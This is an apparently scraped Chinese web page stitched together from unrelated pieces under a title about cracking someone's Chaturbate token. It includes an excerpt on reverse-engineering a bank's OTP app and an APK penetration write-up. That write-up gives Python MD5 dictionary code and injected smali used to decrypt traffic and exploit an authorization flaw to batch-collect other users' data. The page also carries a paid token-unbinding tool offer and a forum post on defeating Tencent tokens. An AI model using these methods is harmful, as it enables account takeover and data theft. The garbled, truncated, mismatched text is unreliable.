咋破解别人的chaturbate令牌破解

颤抖了吗?九步逆向破解银行安全令牌
作者历经千辛万苦,逆向了一个银行动态口令的APP,过程艰辛曲折。最后发现,其实生成算法也不算很复杂,其中主要使用了 android_id 系统时间戳 作为生成变量。看起来高大上的动态口令,在逆向工程师抽丝剥茧的分析下,亦不过如此哇~
我这次要对全巴西最大的银行之一开刀,我也经常会使用到这家银行所提供的服务。他使用包括用户密码在内的多种途径来验证用户的身份。我逆向的动态口令(OPT)也是其中一种,并且我把他移植到了Arduino-compatible 平台上。
免责声明和更多的免责声明
在文章中我已经去掉了敏感的信息,以保护无辜的人的利益。而且这项研究的结果也不足以让我能够黑掉别人的银行账户。即使一个拥有root权限的第三方恶意应用,在没有足够的账户信息的前提下,都不能模拟动态口令的生成。而且,这次研究并没有发现任何代码层面的漏洞,这家银行的生成算法甚至比google的认证算法还要安全,甚至可以说这篇文章是对该银行APP安全性的一次褒奖。他的动态生成算法,完全符合TOTP规范。把数据安全做到了极致。
下面就是免责声明 balabala一大堆,请原谅小编就不翻译了,想看的可以去原文地址观看
通常对于新用户,他们会得到一张密保卡,但是密保卡这东西是极其不方便的。另外一个更好的方法就是使用android app生成一个动态口令,大胆的猜测,这个口令的生成可能把手机号,或者是pin值作为参数。在我每次刷机,或者更换手机的时候,都要重新绑定一遍这个安全服务。虽然过程比较简单,但还是令我不爽。所以我决定,逆向这个android APP做一个自己的动态密码生成工具。
Activating the application 激活应用
在阅读源码之前,我还是喜欢先把应用下载下来看看他长啥样,下面是三个阶段的截图。
第一张是***时的截图,看一下他所需要的权限,这可不是开发人员为何好玩才加上去的。他们其中有些甚至有可能影响到动态口令的生成。第二张是激活界面,需要填四个数字,这四个数字只能通过给银行打***被告知。第三幅图就是,成功激活后生成的动态口令。
顶一下(0) 踩一下(0)
热门标签:破天一剑人际和午灵大战需要的令牌怎么获得_百度知道如何检测一个APP:从解密到批量获取他人信息
&点评:在挖掘 App的web端时,遇到一些看起来安全性做的比较好的应用会对http请求也会,这篇文章作者就提供了一个不错的基本的解决思路:反编译获取加密方式-》解密 -》添加logcat直接输出加密的内容。
APK是AndroidPackage的缩写,即Android***包(apk)。APK是类似Symbian Sis或Sisx的文件格式。通过将APK文件直接传到Android模拟器或Android手机中执行即可***。&
本次对这个APK进行分析,通过解密加密的数据,进而发现存在越权漏洞,然后就可以批量其他用户的数据。
1.***完成APK后,打开,使用burp截包,没想到,在登录的地方就进行了加密。&
2.此时在logcat中看到了敏感信息,存在关键字&加密前&和&加密后&
3.于是反编译APK,搜索&加密前&,用JD-GUI打开
可以清楚的看到,加密的字段就是这段代码了,代码追踪后,发现str1就是输入的用户名,那现在明白了,sing的值就是md5(用户名+)。下面也证明了
既然知道了加密的算法,那就开始破解吧,使用python生成了密码本,然后对用户名进行破解。
import hashlib
md5value = []
f1 = file('/Users/0xExploit/Tools/passwd1.txt')
for i in f1.readlines():
i.strip('\n\r')
md5_32 = hashlib.md5(i+'').hexdigest()
md5value.append(md5_32)
f1.close()
f2 = file('/Users/0xExploit/Tools/passwd_md5.txt','a+')
for i in md5value:
f2.writelines(i+os.linesep)
f2.close()
如果就这么结束了,那也太easy了。。
1.2 功能破解
成功破解出一个账号,登录后,随便点击一个功能模块,使用burp截包。request数据包如下,可以看到,又进行了加密。。
response数据包如下,也是加密的。
仔细想想,数据包发送和接收都是加密的,那么加密和解密的函数一般都在APK里面,不然数据无法正常显示在页面上。
从图中可以看到,请求的data部分是msg=&,于是我们在反编译后的代码中搜索msg,定位到httpRequestManager.class中,然后确认msg的值是str2=localDispatchProtocal.mashall()。那现在我们看看mashall()中的代码吧。
看到字符串&mashall明文&和&mashall密文&了,好激动。。但是可以看到str3中包含了很多的数据,那么我们直接用log输出吧。
定义一个crack.smali文件,放到反编译后的smali文件夹中,内容如下:
.class public L
.super Ljava/lang/O
.source &crack.java&
.method public static log(Ljava/lang/S)V
const-string v0, &info1&
invoke-static {v0, p0}, Landroid/util/L-&d(Ljava/lang/SLjava/lang/S)I
return-void
.end method
然后再smali中,添加如下代码,v6是加密前的数据,V8是加密后的数据,所以我们直接在Log中将代码输出。
在&mashall明文&上面,还有一个字段使用了MD5进行了加密,我们定位到MD5函数,仍然使用Log,将参数输出出来。然后打开eclipse,重新打包APK,运行程序。观察Log,如下:
第一条日志:是当前时间,即代码中的setPostTime()函数.
第二条日志:参数+当前时间+salt
第三条日志:md5(参数+当前时间+salt)
第四条日志:request加密前内容
第五条日志:request加密后的内容。
现在我们比一下,在一次测试中,burp拦截到的msg内容和Log中加密后的数据是一样的。
通过这几条日志的分析,我们现在已经很清楚的知道了request中参数是如何进行加密的。这里面唯一的变量就是userId(setPostTime()可以是一样的值),通过修改userId,巧合的测试到此处存在水平权限问题,即可以查询到其他用户的信息。
1.3 批量破解
通过前面的分析,我们知道,可以获取到其他用户的信息,但是我们还不能通过burp的intruder功能,因为返回
的信息是加密的。那我们现在找找解密的函数吧。
因为上面的加密函数是encrypt3DES(),所以现在我们搜索3DES相关的函数,最终找到了解密函数decrypt3DES()
现在,我们可以实现这个算法,然后统一解密,也可以编写smali,直接进行解密。 我采用第二种方式(并不是直接写smali,而是先写android代码,然后反编译得到自己想要的代码)
我采用的思路是:直接利用APK中的解密函数,批量进行解密。
1.使用python的urllib2模块批量请求,这个很方便。
2.将加密的response放到数组中,然后在一个onclick中执行for循环,调用unmashall()(unmashall函数是调用decrypt3DES进行解密的函数)函数,for循环类似如下:&
.method public static get()V
const/16 v2, 0xa
new-array v1, v2, [Ljava/lang/S
.local v1, &str&:[Ljava/lang/S
const/4 v2, 0x0
const-string v3, &.........&
aput-object v3, v1, v2
const/4 v0, 0x0
.local v0, &i&:I
array-length v2, v1
if-lt v0, v2, :cond_0
return-void
invoke-virtual {v3}, Lcom/jifenka/lottery/manager/SecurityM-&unmashall(Ljava/lang/S)Ljava/lang/S
add-int/lit8 v0, v0, 0x1
goto :goto_0
.end method
3.写一个将解密的response写入到文件的代码,如下:
.method public static puts(Ljava/lang/S)V
:try_start_0
const-string v3, &/sdcard/debug.txt&
new-instance v2, Ljava/io/FileOutputS
const/4 v5, 0x1
invoke-direct {v2, v3, v5}, Ljava/io/FileOutputS-&
(Ljava/lang/SZ)V
new-instance v4, Ljava/io/OutputStreamW
const-string v5, &gb2312&
invoke-direct {v4, v2, v5}, Ljava/io/OutputStreamW-&
(Ljava/io/OutputSLjava/lang/S)V
invoke-virtual {v4, p0}, Ljava/io/OutputStreamW-&write(Ljava/lang/S)V
const-string v5, &\r\n&
invoke-virtual {v4, v5}, Ljava/io/OutputStreamW-&write(Ljava/lang/S)V
invoke-virtual {v4}, Ljava/io/OutputStreamW-&flush()V
invoke-virtual {v4}, Ljava/io/OutputStreamW-&close()V
invoke-virtual {v2}, Ljava/io/FileOutputS-&close()V
:try_end_0
.catch Ljava/lang/E {:try_start_0 .. :try_end_0} :catch_0
return-void
move-exception v0
const-string v5, &debug&
const-string v6, &file write error&
invoke-static {v5, v6}, Landroid/util/L-&e(Ljava/lang/SLjava/lang/S)I
goto :goto_0
.end method
4.在response函数中引用puts方法,就会执行
5.最终结果如下(就测试了几个账号。):
0x03. 总结
其实这个渗透就是用了一个水平越权的漏洞,但是在很多APK中并没有重视这些问题,以为加密了就能解决问题。
(window.slotbydup=window.slotbydup || []).push({
id: '2467140',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467141',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467142',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467143',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467148',
container: s,
size: '1000,90',
display: 'inlay-fix'批量令牌绑定/解绑工具1.3版:
打开运行即可,如果有疑问,可以跟帖
==============原版介绍:===================
试用,注册账号,就可以测试
价格:10元/天 &50元/周 &100元/月
1,绑定kjav版手机令牌 &
2,已经绑定成功的可以通过手机令牌解除安全模式
☉推荐使用QQ旋风下载本站软件,使用 WinRAR v3.10 以上版本解压本站软件。
☉如果这个软件总是不能下载的请联系我们(见页尾),谢谢合作!!
☉凡本站资源经过站长查毒后上传,以防万一,如发现问题请立刻联系我们。
☉如果遇到什么问题,请到本站论坛去咨询,我们将在那里提供更多 、更好的资源!
☉本站提供的外挂资源均来自网络,本站只做收集汇总工作,由外挂导致的任何问题与本站无关!常用入口:| | |
常用攻略:| | |
> (腾讯密保)/手机令牌可破解么?
(腾讯密保)/手机令牌可破解么?
(腾讯密保)/手机令牌可破解么?很多人以为有了这些密保,,再也不怕了,其实不是!
许多人都很喜欢玩腾迅的游戏.在游戏的范围一定会有外挂木码病毒出现.号被清被盗肯定会有的.必然要有保护方法.腾迅接二连三所出的密保管用么?密保卡.手机令牌.你们觉得有用么?经常开挂的朋友都知道.没用.他们的号照样被清被盗.    原因是什么?首先来说说密保卡.xy纵横组合的数字..一张密保卡用久了.里面的数字大多数都已被记录.不用说大多数.知道百分之六七十左右就足够上你号了. 若半张密保卡和一个帐号就足够改密码了..    接下来得是手机令牌.很多人认为有了它就不怕了.其实不是.木码照样有办法.手机令牌弱点在哪呢?    时间上.一个数字有三十秒钟时间.只要在这三十秒内就有能力上你号改你密码...    还有另外一个.就是改变时间.比如.手机令牌在一点正的时候数字是110110.好.这时候木码只需要把时间改在一点正的时候再输入110110就可以上去你的号了.想想.他们能制造出这个游戏的外挂就说明他们对这游戏很了解.在时间上做点手脚并不会很难.若这说法不成立的话下面这个说法肯定可以.如果说密保是不可破解的话那么以外挂特征来说就是利用这款游戏制作出这游戏外挂然后加些病毒发布在市场.    当下载外挂的同时也把木马下载了.这木马的功能可以看到你在电脑上做什么.    当你准备开挂上游戏输入密码帐号时你的密码已被截图.有些外挂更可怕.你在自己的电脑输入自己的帐号密码时其实是在帮他输入.然后利用外挂说请稍等.系统会自动操作.其实他在清号了..    想怎样预防吗?没用的.除非你不开挂...    有个办法.就是开挂要注意几点.开挂前.要确认该帐号没财产装备已转移别的号了.    在开挂过程中.如果要你等或者登不上就立刻改密码.然后重起机算机..再改密码.然后上号看看.如果开挂过程中没有这现象.在用挂时顺利安稳就暂时安全.    如果半路被人上号请立刻打开游戏.别输密码.先改密码再进.    如果开挂前和开挂后很安稳.那么你用完后立刻重起电脑改密码.密保要定时更换.    好了.如果看到了请转载下.让更多的人知道.    祝你游戏愉快
手机看攻略,电脑玩游戏两不误!
加点再也不需要切来切去啦~
【地下城与勇士】最新消息第一时间推送给你
与相关的文章有:
国服魔***士二觉
魔***士二觉:
最新活动:
系统更新:
友情链接: | |
连续签到:&天&&累计签到:&天
今日抢签到排名

参考资料

 

随机推荐